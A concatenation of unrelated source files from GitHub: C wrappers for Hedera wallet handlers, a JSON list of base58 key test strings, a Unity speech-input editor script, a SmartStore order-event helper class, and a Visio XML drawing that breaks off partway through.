*bytes, size_t bytesCount) { return (BRGenericAccountRef) hederaAccountCreateWithSerialization (bytes, bytesCount); } static void genericHederaAccountFree (BRGenericAccountRef account) { hederaAccountFree ((BRHederaAccount) account); } static BRGenericAddressRef genericHederaAccountGetAddress (BRGenericAccountRef account) { return (BRGenericAddressRef) hederaAccountGetAddress((BRHederaAccount) account); } static uint8_t * genericHederaAccountGetSerialization (BRGenericAccountRef account, size_t *bytesCount) { return hederaAccountGetSerialization ((BRHederaAccount) account, bytesCount); } static void genericHederaAccountSignTransferWithSeed (BRGenericAccountRef account, BRGenericTransferRef transfer, UInt512 seed) { BRKey publicKey = hederaAccountGetPublicKey((BRHederaAccount)account); hederaTransactionSignTransaction ((BRHederaTransaction)transfer, publicKey, seed); } static void genericHederaAccountSignTransferWithKey (BRGenericAccountRef account, BRGenericTransferRef transfer, BRKey *key) { // TODO - depracated??? } // MARK: - Generic Address static BRGenericAddressRef genericHederaAddressCreate (const char *string) { return (BRGenericAddressRef) hederaAddressCreateFromString (string); } static char * genericHederaAddressAsString (BRGenericAddressRef address) { return hederaAddressAsString ((BRHederaAddress) address); } static int genericHederaAddressEqual (BRGenericAddressRef address1, BRGenericAddressRef address2) { return hederaAddressEqual ((BRHederaAddress) address1, (BRHederaAddress) address2); } static void genericHederaAddressFree (BRGenericAddressRef address) { hederaAddressFree ((BRHederaAddress) address); } // MARK: - Generic Transfer static BRGenericTransferRef genericHederaTransferCreate (BRGenericAddressRef source, BRGenericAddressRef target, UInt256 amount) { // TODO - I think this is depracated - we only create transfers via the wallet. // BRHederaUnitTinyBar thbar = UInt64GetLE(amount.u8); // return (BRGenericTransferRef) hederaTransactionCreateNew ((BRHederaAddress) source, // (BRHederaAddress) target, // amountDrops); return NULL; } static BRGenericTransferRef genericHederaTransferCopy (BRGenericTransferRef transfer) { return (BRGenericTransferRef) hederaTransactionClone ((BRHederaTransaction) transfer); } static void genericHederaTransferFree (BRGenericTransferRef transfer) { hederaTransactionFree ((BRHederaTransaction) transfer); } static BRGenericAddressRef genericHederaTransferGetSourceAddress (BRGenericTransferRef transfer) { return (BRGenericAddressRef) hederaTransactionGetSource ((BRHederaTransaction) transfer); } static BRGenericAddressRef genericHederaTransferGetTargetAddress (BRGenericTransferRef transfer) { return (BRGenericAddressRef) hederaTransactionGetTarget ((BRHederaTransaction) transfer); } static UInt256 genericHederaTransferGetAmount (BRGenericTransferRef transfer) { BRHederaUnitTinyBar thbar = hederaTransactionGetAmount ((BRHederaTransaction) transfer); return uint256Create(thbar); } static BRGenericFeeBasis genericHederaTransferGetFeeBasis (BRGenericTransferRef transfer) { // TODO - BRHederaUnitTinyBar hederaFee = hederaTransactionGetFee ((BRHederaTransaction) transfer); return (BRGenericFeeBasis) { uint256Create (hederaFee), 1 }; } static BRGenericHash genericHederaTransferGetHash (BRGenericTransferRef transfer) { BRHederaTransactionHash hash = hederaTransactionGetHash ((BRHederaTransaction) transfer); UInt256 value; memcpy (value.u8, hash.bytes, 32); return (BRGenericHash) { value }; } static uint8_t * genericHederaTransferGetSerialization (BRGenericTransferRef transfer, size_t *bytesCount) { *bytesCount = 0; return hederaTransactionSerialize((BRHederaTransaction) transfer, bytesCount); } // MARK: Generic Wallet static BRGenericWalletRef genericHederaWalletCreate (BRGenericAccountRef account) { return (BRGenericWalletRef) hederaWalletCreate ((BRHederaAccount) account); } static void genericHederaWalletFree (BRGenericWalletRef wallet) { hederaWalletFree ((BRHederaWallet) wallet); } static UInt256 genericHederaWalletGetBalance (BRGenericWalletRef wallet) { return uint256Create (hederaWalletGetBalance ((BRHederaWallet) wallet)); } static UInt256 genericHederaWalletGetBalanceLimit (BRGenericWalletRef wallet, int asMaximum, int *hasLimit) { return uint256Create(0); } static BRGenericAddressRef genericHederaWalletGetAddress (BRGenericWalletRef wallet, int asSource) { return (BRGenericAddressRef) (asSource ? hederaWalletGetSourceAddress ((BRHederaWallet) wallet) : hederaWalletGetTargetAddress ((BRHederaWallet) wallet)); } static int genericHederaWalletHasAddress (BRGenericWalletRef wallet, BRGenericAddressRef address) { return hederaWalletHasAddress ((BRHederaWallet) wallet, (BRHederaAddress) address); } static int genericHederaWalletHasTransfer (BRGenericWalletRef wallet, BRGenericTransferRef transfer) { return hederaWalletHasTransfer ((BRHederaWallet) wallet, (BRHederaTransaction) transfer); } static void genericHederaWalletAddTransfer (BRGenericWalletRef wallet, BRGenericTransferRef transfer) { // TODO - I don't think it is used hederaWalletAddTransfer ((BRHederaWallet) wallet, (BRHederaTransaction) transfer); } static void genericHederaWalletRemTransfer (BRGenericWalletRef wallet, OwnershipKept BRGenericTransferRef transfer) { hederaWalletRemTransfer ((BRHederaWallet) wallet, (BRHederaTransaction) transfer); } static BRGenericTransferRef genericHederaWalletCreateTransfer (BRGenericWalletRef wallet, BRGenericAddressRef target, UInt256 amount, BRGenericFeeBasis estimatedFeeBasis, size_t attributesCount, BRGenericTransferAttribute *attributes) { BRHederaAddress source = hederaWalletGetSourceAddress ((BRHederaWallet) wallet); BRHederaUnitTinyBar thbar = amount.u64[0]; BRHederaAddress nodeAddress = hederaWalletGetNodeAddress((BRHederaWallet) wallet); BRHederaFeeBasis feeBasis; feeBasis.costFactor = estimatedFeeBasis.costFactor; int overflow = 0; feeBasis.pricePerCostFactor = uint64Coerce(estimatedFeeBasis.pricePerCostFactor, &overflow); assert(overflow == 0); return (BRGenericTransferRef) hederaTransactionCreateNew (source, (BRHederaAddress) target, thbar, feeBasis, nodeAddress, NULL); } static BRGenericFeeBasis genericHederaWalletEstimateFeeBasis (BRGenericWalletRef wallet, BRGenericAddressRef address, UInt256 amount, UInt256 pricePerCostFactor) { return (BRGenericFeeBasis) { pricePerCostFactor, 1 }; } // MARK: - Generic Manager static BRGenericTransferRef genericHederaWalletManagerRecoverTransfer (const char *hash, const char *from, const char *to, const char *amount, const char *currency, const char *fee, uint64_t timestamp, uint64_t blockHeight, int error) { BRHederaUnitTinyBar amountHbar, feeHbar = 0; sscanf(amount, "%llu", &amountHbar); if (NULL != fee) sscanf(fee, "%llu", &feeHbar); BRHederaAddress toAddress = hederaAddressCreateFromString(to); BRHederaAddress fromAddress = hederaAddressCreateFromString(from); // Convert the hash string to bytes BRHederaTransactionHash txId; hexDecode(txId.bytes, sizeof(txId.bytes), hash, strlen(hash)); BRHederaTransactionHash txHash; memset(txHash.bytes, 0x00, sizeof(txHash.bytes)); if (hash != NULL) { assert(96 == strlen(hash)); hexDecode(txHash.bytes, sizeof(txHash.bytes), hash, strlen(hash)); } BRHederaTransaction transfer = hederaTransactionCreate(fromAddress, toAddress, amountHbar, feeHbar, NULL, txHash, timestamp, blockHeight, error); hederaAddressFree (toAddress); hederaAddressFree (fromAddress); return (BRGenericTransferRef) transfer; } static BRArrayOf(BRGenericTransferRef) genericHederaWalletManagerRecoverTransfersFromRawTransaction (uint8_t *bytes, size_t bytesCount) { return NULL; } static BRGenericAPISyncType genericHederaWalletManagerGetAPISyncType (void) { return GENERIC_SYNC_TYPE_TRANSFER; } // MARK: - Generic Handlers struct BRGenericHandersRecord genericHederaHandlersRecord = { "hbar", { // Network }, { // Account genericHederaAccountCreate, genericHederaAccountCreateWithPublicKey, genericHederaAccountCreateWithSerialization, genericHederaAccountFree, genericHederaAccountGetAddress, genericHederaAccountGetSerialization, genericHederaAccountSignTransferWithSeed, genericHederaAccountSignTransferWithKey, }, { // Address genericHederaAddressCreate, genericHederaAddressAsString, genericHederaAddressEqual, genericHederaAddressFree }, { // Transfer genericHederaTransferCreate, genericHederaTransferCopy, genericHederaTransferFree, genericHederaTransferGetSourceAddress, genericHederaTransferGetTargetAddress, genericHederaTransferGetAmount, genericHederaTransferGetFeeBasis, genericHederaTransferGetHash, genericHederaTransferGetSerialization, }, { // Wallet genericHederaWalletCreate, genericHederaWalletFree, genericHederaWalletGetBalance, genericHederaWalletGetBalanceLimit, genericHederaWalletGetAddress, genericHederaWalletHasAddress, genericHederaWalletHasTransfer, genericHederaWalletAddTransfer, genericHederaWalletRemTransfer, genericHederaWalletCreateTransfer, genericHederaWalletEstimateFeeBasis }, { // Wallet Manager genericHederaWalletManagerRecoverTransfer, genericHederaWalletManagerRecoverTransfersFromRawTransaction, genericHederaWalletManagerGetAPISyncType, }, }; const BRGenericHandlers genericHederaHandlers = &genericHederaHandlersRecord;
{ "pile_set_name": "Github" }
[ [ "" ], [ "x" ], [ "37qgekLpCCHrQuSjvX3fs496FWTGsHFHizjJAs6NPcR47aefnnCWECAhHV6E3g4YN7u7Yuwod5Y" ], [ "dzb7VV1Ui55BARxv7ATxAtCUeJsANKovDGWFVgpTbhq9gvPqP3yv" ], [ "MuNu7ZAEDFiHthiunm7dPjwKqrVNCM3mAz6rP9zFveQu14YA8CxExSJTHcVP9DErn6u84E6Ej7S" ], [ "rPpQpYknyNQ5AEHuY6H8ijJJrYc2nDKKk9jjmKEXsWzyAQcFGpDLU2Zvsmoi8JLR7hAwoy3RQWf" ], [ "4Uc3FmN6NQ6zLBK5QQBXRBUREaaHwCZYsGCueHauuDmJpZKn6jkEskMB2Zi2CNgtb5r6epWEFfUJq" ], [ "7aQgR5DFQ25vyXmqZAWmnVCjL3PkBcdVkBUpjrjMTcghHx3E8wb" ], [ "17QpPprjeg69fW1DV8DcYYCKvWjYhXvWkov6MJ1iTTvMFj6weAqW7wybZeH57WTNxXVCRH4veVs" ], [ "KxuACDviz8Xvpn1xAh9MfopySZNuyajYMZWz16Dv2mHHryznWUp3" ], [ "7nK3GSmqdXJQtdohvGfJ7KsSmn3TmGqExug49583bDAL91pVSGq5xS9SHoAYL3Wv3ijKTit65th" ], [ "cTivdBmq7bay3RFGEBBuNfMh2P1pDCgRYN2Wbxmgwr4ki3jNUL2va" ], [ "gjMV4vjNjyMrna4fsAr8bWxAbwtmMUBXJS3zL4NJt5qjozpbQLmAfK1uA3CquSqsZQMpoD1g2nk" ], [ "emXm1naBMoVzPjbk7xpeTVMFy4oDEe25UmoyGgKEB1gGWsK8kRGs" ], [ "7VThQnNRj1o3Zyvc7XHPRrjDf8j2oivPTeDXnRPYWeYGE4pXeRJDZgf28ppti5hsHWXS2GSobdqyo" ], [ "1G9u6oCVCPh2o8m3t55ACiYvG1y5BHewUkDSdiQarDcYXXhFHYdzMdYfUAhfxn5vNZBwpgUNpso" ], [ "31QQ7ZMLkScDiB4VyZjuptr7AEc9j1SjstF7pRoLhHTGkW4Q2y9XELobQmhhWxeRvqcukGd1XCq" ], [ "DHqKSnpxa8ZdQyH8keAhvLTrfkyBMQxqngcQA5N8LQ9KVt25kmGN" ], [ "2LUHcJPbwLCy9GLH1qXmfmAwvadWw4bp4PCpDfduLqV17s6iDcy1imUwhQJhAoNoN1XNmweiJP4i" ], [ "7USRzBXAnmck8fX9HmW7RAb4qt92VFX6soCnts9s74wxm4gguVhtG5of8fZGbNPJA83irHVY6bCos" ], [ "1DGezo7BfVebZxAbNT3XGujdeHyNNBF3vnficYoTSp4PfK2QaML9bHzAMxke3wdKdHYWmsMTJVu" ], [ "2D12DqDZKwCxxkzs1ZATJWvgJGhQ4cFi3WrizQ5zLAyhN5HxuAJ1yMYaJp8GuYsTLLxTAz6otCfb" ], [ "8AFJzuTujXjw1Z6M3fWhQ1ujDW7zsV4ePeVjVo7D1egERqSW9nZ" ], [ "163Q17qLbTCue8YY3AvjpUhotuaodLm2uqMhpYirsKjVqnxJRWTEoywMVY3NbBAHuhAJ2cF9GAZ" ], [ "2MnmgiRH4eGLyLc9eAqStzk7dFgBjFtUCtu" ], [ "461QQ2sYWxU7H2PV4oBwJGNch8XVTYYbZxU" ], [ "2UCtv53VttmQYkVU4VMtXB31REvQg4ABzs41AEKZ8UcB7DAfVzdkV9JDErwGwyj5AUHLkmgZeobs" ], [ "cSNjAsnhgtiFMi6MtfvgscMB2Cbhn2v1FUYfviJ1CdjfidvmeW6mn" ], [ "gmsow2Y6EWAFDFE1CE4Hd3Tpu2BvfmBfG1SXsuRARbnt1WjkZnFh1qGTiptWWbjsq2Q6qvpgJVj" ], [ "nksUKSkzS76v8EsSgozXGMoQFiCoCHzCVajFKAXqzK5on9ZJYVHMD5CKwgmX3S3c7M1U3xabUny" ], [ "L3favK1UzFGgdzYBF2oBT5tbayCo4vtVBLJhg2iYuMeePxWG8SQc" ], [ "7VxLxGGtYT6N99GdEfi6xz56xdQ8nP2dG1CavuXx7Rf2PrvNMTBNevjkfgs9JmkcGm6EXpj8ipyPZ" ], [ "2mbZwFXF6cxShaCo2czTRB62WTx9LxhTtpP" ], [ "dB7cwYdcPSgiyAwKWL3JwCVwSk6epU2txw" ], [ "HPhFUhUAh8ZQQisH8QQWafAxtQYju3SFTX" ], [ "4ctAH6AkHzq5ioiM1m9T3E2hiYEev5mTsB" ], [ "Hn1uFi4dNexWrqARpjMqgT6cX1UsNPuV3cHdGg9ExyXw8HTKadbktRDtdeVmY3M1BxJStiL4vjJ" ], [ "Sq3fDbvutABmnAHHExJDgPLQn44KnNC7UsXuT7KZecpaYDMU9Txs" ], [ "6TqWyrqdgUEYDQU1aChMuFMMEimHX44qHFzCUgGfqxGgZNMUVWJ" ], [ "giqJo7oWqFxNKWyrgcBxAVHXnjJ1t6cGoEffce5Y1y7u649Noj5wJ4mmiUAKEVVrYAGg2KPB3Y4" ], [ "cNzHY5e8vcmM3QVJUcjCyiKMYfeYvyueq5qCMV3kqcySoLyGLYUK" ], [ "37uTe568EYc9WLoHEd9jXEvUiWbq5LFLscNyqvAzLU5vBArUJA6eydkLmnMwJDjkL5kXc2VK7ig" ], [ "EsYbG4tWWWY45G31nox838qNdzksbPySWc" ], [ "nbuzhfwMoNzA3PaFnyLcRxE9bTJPDkjZ6Rf6Y6o2ckXZfzZzXBT" ], [ "cQN9PoxZeCWK1x56xnz6QYAsvR11XAce3Ehp3gMUdfSQ53Y2mPzx" ], [ "1Gm3N3rkef6iMbx4voBzaxtXcmmiMTqZPhcuAepRzYUJQW4qRpEnHvMojzof42hjFRf8PE2jPde" ], [ "2TAq2tuN6x6m233bpT7yqdYQPELdTDJn1eU" ], [ "ntEtnnGhqPii4joABvBtSEJG6BxjT2tUZqE8PcVYgk3RHpgxgHDCQxNbLJf7ardf1dDk2oCQ7Cf" ], [ "Ky1YjoZNgQ196HJV3HpdkecfhRBmRZdMJk89Hi5KGfpfPwS2bUbfd" ], [ "2A1q1YsMZowabbvta7kTy2Fd6qN4r5ZCeG3qLpvZBMzCixMUdkN2Y4dHB1wPsZAeVXUGD83MfRED" ] ]
{ "pile_set_name": "Github" }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See LICENSE in the project root for license information. using MixedRealityToolkit.InputModule.InputSources; using UnityEditor; using UnityEngine; namespace MixedRealityToolkit.InputModule.EditorScript { [CustomEditor(typeof(SpeechInputSource))] public class SpeechInputSourceEditor : UnityEditor.Editor { private SerializedProperty persistentKeywordsProperty; private SerializedProperty recognizerStart; private SerializedProperty confidenceLevel; private SerializedProperty keywordsAndKeys; private void OnEnable() { persistentKeywordsProperty = serializedObject.FindProperty("PersistentKeywords"); recognizerStart = serializedObject.FindProperty("RecognizerStart"); confidenceLevel = serializedObject.FindProperty("recognitionConfidenceLevel"); keywordsAndKeys = serializedObject.FindProperty("Keywords"); } public override void OnInspectorGUI() { serializedObject.Update(); // Recognizer options EditorGUILayout.PropertyField(persistentKeywordsProperty); EditorGUILayout.PropertyField(recognizerStart); EditorGUILayout.PropertyField(confidenceLevel); // the Keywords field ShowList(keywordsAndKeys); serializedObject.ApplyModifiedProperties(); // error and warning messages if (keywordsAndKeys.arraySize == 0) { EditorGUILayout.HelpBox("No keywords have been assigned!", MessageType.Warning); } } private static GUIContent removeButtonContent = new GUIContent("-", "Remove keyword"); private static GUIContent addButtonContent = new GUIContent("+", "Add keyword"); private static GUILayoutOption miniButtonWidth = GUILayout.Width(20.0f); private static void ShowList(SerializedProperty list) { // property name with expansion widget EditorGUILayout.PropertyField(list); if (list.isExpanded) { EditorGUI.indentLevel++; // header row EditorGUILayout.BeginHorizontal(); EditorGUILayout.LabelField("Keyword"); EditorGUILayout.LabelField("Key Shortcut"); EditorGUILayout.EndHorizontal(); // keyword rows for (int index = 0; index < list.arraySize; index++) { EditorGUILayout.BeginHorizontal(); // the element EditorGUILayout.PropertyField(list.GetArrayElementAtIndex(index)); // the remove element button if (GUILayout.Button(removeButtonContent, EditorStyles.miniButton, miniButtonWidth)) { list.DeleteArrayElementAtIndex(index); } EditorGUILayout.EndHorizontal(); } // add button row EditorGUILayout.BeginHorizontal(); GUILayout.FlexibleSpace(); // the add element button if (GUILayout.Button(addButtonContent, EditorStyles.miniButton, miniButtonWidth)) { list.InsertArrayElementAtIndex(list.arraySize); } EditorGUILayout.EndHorizontal(); EditorGUI.indentLevel--; } } } }
{ "pile_set_name": "Github" }
using SmartStore.Core.Domain.Customers; using SmartStore.Core.Domain.Orders; using SmartStore.Core.Events; namespace SmartStore.Services.Orders { public static class EventPublisherExtensions { /// <summary> /// Publishes the order paid event. /// </summary> /// <param name="eventPublisher">The event publisher.</param> /// <param name="order">The order.</param> public static void PublishOrderPaid(this IEventPublisher eventPublisher, Order order) { eventPublisher.Publish(new OrderPaidEvent(order)); } /// <summary> /// Publishes the order placed event. /// </summary> /// <param name="eventPublisher">The event publisher.</param> /// <param name="order">The order.</param> public static void PublishOrderPlaced(this IEventPublisher eventPublisher, Order order) { eventPublisher.Publish(new OrderPlacedEvent(order)); } /// <summary> /// Publishes the order updated event. /// </summary> /// <param name="eventPublisher">The event publisher.</param> /// <param name="order">The order.</param> public static void PublishOrderUpdated(this IEventPublisher eventPublisher, Order order) { if (order != null) eventPublisher.Publish(new OrderUpdatedEvent(order)); } /// <summary> /// Publishes the migrate shopping cart event. /// </summary> /// <param name="eventPublisher">The event publisher.</param> /// <param name="fromCustomer">The source customer entity.</param> /// <param name="toCustomer">The destination customer entity.</param> /// <param name="storeId">Store identifier.</param> public static void PublishMigrateShoppingCart(this IEventPublisher eventPublisher, Customer fromCustomer, Customer toCustomer, int storeId) { if (fromCustomer != null && toCustomer != null) eventPublisher.Publish(new MigrateShoppingCartEvent(fromCustomer, toCustomer, storeId)); } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <VisioDocument xmlns="http://schemas.microsoft.com/visio/2003/core"> <DocumentSettings> <GlueSettings>12</GlueSettings> <SnapSettings>52</SnapSettings> </DocumentSettings> <PrintSetup> <PaperWidth>7.68056</PaperWidth> <PaperHeight>10.5</PaperHeight> <PrintLandscape>1</PrintLandscape> <PageLeftMargin>0.25</PageLeftMargin> <PageRightMargin>0.25</PageRightMargin> <PageTopMargin>0.25</PageTopMargin> <PageBottomMargin>0.569444</PageBottomMargin> <PrintCenteredH>1</PrintCenteredH> <PrintCenteredV>1</PrintCenteredV> </PrintSetup> <Fonts> <FontEntry ID="0" Name="Courier New"/> <FontEntry ID="1" Name="Helvetica"/> </Fonts> <FaceNames> <FaceName ID="0" Name="Courier New"/> <FaceName ID="1" Name="Helvetica"/> </FaceNames> <Pages> <Page ID="0" NameU="Canvas 1"> <PageSheet> <RulerGrid> <XGridSpacing>0.111111</XGridSpacing> <YGridSpacing>0.111111</YGridSpacing> </RulerGrid> <PageProps> <PageScale>1</PageScale> <DrawingScale>1</DrawingScale> <PageWidth>10.5</PageWidth> <PageHeight>7.68056</PageHeight> <DrawingSizeType>3</DrawingSizeType> <ShdwOffsetX>0</ShdwOffsetX> <ShdwOffsetY>-0.0277778</ShdwOffsetY> </PageProps> <Layer IX="0"> <Name>Layer 1</Name> <Visible>1</Visible> <Print>1</Print> <Lock>0</Lock> </Layer> </PageSheet> <Shapes> <Shape ID="1" Type="Shape" Name="Graphic.1"> <XForm> <Angle>-0</Angle> <PinX>3.923611111111111</PinX> <PinY>5.826388888888889</PinY> <Width>7.541666666666667</Width> <Height>0.01388888888888889</Height> <LocPinX>3.770833333333333</LocPinX> <LocPinY>0.006944444444444444</LocPinY> </XForm> <XForm1D> <BeginX>0.152777777777778</BeginX> <BeginY>5.83333333333333</BeginY> <EndX>7.69444444444444</EndX> <EndY>5.83333333333333</EndY> </XForm1D> <Layout> <ConLineJumpCode>4</ConLineJumpCode> <ConLineJumpStyle>0</ConLineJumpStyle> <ShapeRouteStyle>0</ShapeRouteStyle> <ConFixedCode>2</ConFixedCode> <ConLineRouteExt>2</ConLineRouteExt> </Layout> <TextXForm> <TxtWidth F="Width*1.000000">7.541666666666667</TxtWidth> <TxtHeight F="Height*1.000000">0.01388888888888889</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>2</ObjType> </Misc> <Line> <LinePattern>9</LinePattern> <LineWeight>0.0277778</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>0</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>1</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.01388888888888889</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">7.541666666666667</X> <Y F="Height*1.000000">0.01388888888888889</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="2" Type="Shape" Name="Rectangle Fill:Chalk.2"> <XForm> <Angle>-0</Angle> <PinX>3.787486111111111</PinX> <PinY>5.833333333333333</PinY> <Width>2</Width> <Height>0.7222222222222222</Height> <LocPinX>1</LocPinX> <LocPinY>0.3611111111111111</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">2</TxtWidth> <TxtHeight F="Height*0.807692">0.5833333333333334</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>1</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.7222222222222222</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">2</X> <Y F="Height*1.000000">0.7222222222222222</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">2</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.7222222222222222</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="3" Type="Shape" Name="Rectangle Fill:Chalk.3"> <XForm> <Angle>-0</Angle> <PinX>1.4375</PinX> <PinY>5.763888888888889</PinY> <Width>1.736111111111111</Width> <Height>0.7222222222222222</Height> <LocPinX>0.8680555555555556</LocPinX> <LocPinY>0.3611111111111111</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">1.736111111111111</TxtWidth> <TxtHeight F="Height*0.807692">0.5833333333333334</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>1</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.7222222222222222</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">1.736111111111111</X> <Y F="Height*1.000000">0.7222222222222222</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">1.736111111111111</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.7222222222222222</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="4" Type="Shape" Name="Line Curved, Stroke:Obsidian.4"> <XForm> <Angle>-0</Angle> <PinX>2.784722222222222</PinX> <PinY>6.243055555555555</PinY> <Width>1.430555555555556</Width> <Height>0.4583333333333333</Height> <LocPinX>0.7152777777777778</LocPinX> <LocPinY>0.2291666666666667</LocPinY> </XForm> <XForm1D> <BeginX>3.5</BeginX> <BeginY>6.47222222222222</BeginY> <EndX>2.06944444444444</EndX> <EndY>6.01388888888889</EndY> </XForm1D> <Layout> <ConLineJumpCode>4</ConLineJumpCode> <ConLineJumpStyle>0</ConLineJumpStyle> <ShapeRouteStyle>0</ShapeRouteStyle> <ConFixedCode>2</ConFixedCode> <ConLineRouteExt>2</ConLineRouteExt> </Layout> <TextXForm> <TxtWidth F="Width*1.000000">1.430555555555556</TxtWidth> <TxtHeight F="Height*1.000000">0.4583333333333333</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>2</ObjType> </Misc> <Line> <LinePattern>1</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> <BeginArrow>4</BeginArrow> <BeginArrowSize>2</BeginArrowSize> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>0</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>1</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*1.000000">1.430555555555556</X> <Y F="Height*1.000000">0.4583333333333333</Y> </MoveTo> <LineTo IX="2"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="5" Type="Shape" Name="Rectangle No Fill No Fill.5"> <XForm> <Angle>-0</Angle> <PinX>1.638888888888889</PinX> <PinY>3.499972222222222</PinY> <Width>0.02777777777777778</Width> <Height>0.1666666666666667</Height> <LocPinX>0.01388888888888889</LocPinX> <LocPinY>0.08333333333333333</LocPinY> </XForm> <TextXForm> <TxtWidth F="Width*1.000000">0.02777777777777778</TxtWidth> <TxtHeight F="Height*1.000000">0.1666666666666667</TxtHeight> <TxtAngle>-0</TxtAngle> </TextXForm> <Misc> <ObjType>1</ObjType> </Misc> <Line> <LinePattern>0</LinePattern> <LineWeight>0.0138889</LineWeight> <LineColor>0</LineColor> <LineColorTrans>0</LineColorTrans> <Rounding>0</Rounding> <LineCap>0</LineCap> </Line> <Fill> <FillPattern>0</FillPattern> <FillForegnd>#ffffff</FillForegnd> <FillForegndTrans>0</FillForegndTrans> <ShdwPattern>0</ShdwPattern> <ShdwForegnd>0</ShdwForegnd> <ShdwForegndTrans>0.5</ShdwForegndTrans> <ShapeShdwType>1</ShapeShdwType> <ShapeShdwOffsetX>0</ShapeShdwOffsetX> <ShapeShdwOffsetY>-0.0277778</ShapeShdwOffsetY> </Fill> <Geom IX="0"> <NoFill>0</NoFill> <NoLine>0</NoLine> <MoveTo IX="1"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.1666666666666667</Y> </MoveTo> <LineTo IX="2"> <X F="Width*1.000000">0.02777777777777778</X> <Y F="Height*1.000000">0.1666666666666667</Y> </LineTo> <LineTo IX="3"> <X F="Width*1.000000">0.02777777777777778</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="4"> <X F="Width*0.000000">0</X> <Y F="Height*0.000000">0</Y> </LineTo> <LineTo IX="5"> <X F="Width*0.000000">0</X> <Y F="Height*1.000000">0.1666666666666667</Y> </LineTo> </Geom> <LayerMem> <LayerMember>0</LayerMember> </LayerMem> </Shape> <Shape ID="6" Type="Shape" Name="Rectangle No Fill No Fill.6"> <XForm> <Angle>-0</Angle> <PinX>3.416666666666667</PinX> <PinY>6.762170833333333</PinY> <Width>3.055555555555555</Width> <Height>0.3055555555555556</Height> <LocPinX>1.527777777777778</LocPinX> 